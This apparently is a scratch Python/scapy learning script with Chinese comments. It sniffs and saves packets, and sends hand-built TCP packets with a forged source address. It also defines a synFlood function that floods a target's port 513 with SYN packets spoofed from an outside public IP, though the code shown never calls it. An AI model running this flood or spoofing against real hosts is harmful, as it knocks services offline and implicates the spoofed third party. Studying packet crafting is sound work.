from scapy.all import *

bd = '220.181.38.251'
# IP(src='192.168.0.197',dst=bd)
# TCPlayer = TCP(sport="9090", dport="9090")
# pkt = IPlayer / TCPlayer  #组合构建成完整数
# send(pkt)  #发送数据包

def synFlood(tgt):
    src = bd

    for sport in range(1024, 65535):
        IPlayer = IP(src=src, dst=tgt)

        TCPlayer = TCP(sport=sport, dport=513)

        pkt = IPlayer / TCPlayer

        send(pkt)
        print(pkt)


import time
import threading
import sys

wan ='Intel(R) Dual Band Wireless-AC 3168'
filter='ip dst host 192.168.1.7'
dpkt = sniff(iface = wan,count = 300)
dpkt.summary()
# 数据包应用层数据部分
data = 'wangpeng'
# 发送端IP地址不是本机ip地址   目的端IP地址不详      传输层的TCP并未指明数据包类型：syn fin ack 窗口大小 数据包如果分片，要指明序号
pkt = IP(src='192.168.0.197', dst='192.168.1.6') / TCP(sport=9090, dport=9090) / data
# 间隔一秒发送一次   总共发送5次   发送网卡口：enp1s0

send(pkt, inter=1, count=3)
wrpcap("mypack.pcap",dpkt)

print(dpkt)
# for item in dpkt:
#     print(item)
#     print("time",item.time)
#     print("fields",item.fields)
#     print("overload_fields",item.overload_fields)
#     print("fields",item.fields)
#     print("payload",item.payload)
#     print("wirelen",item.wirelen)
#     print("==============")



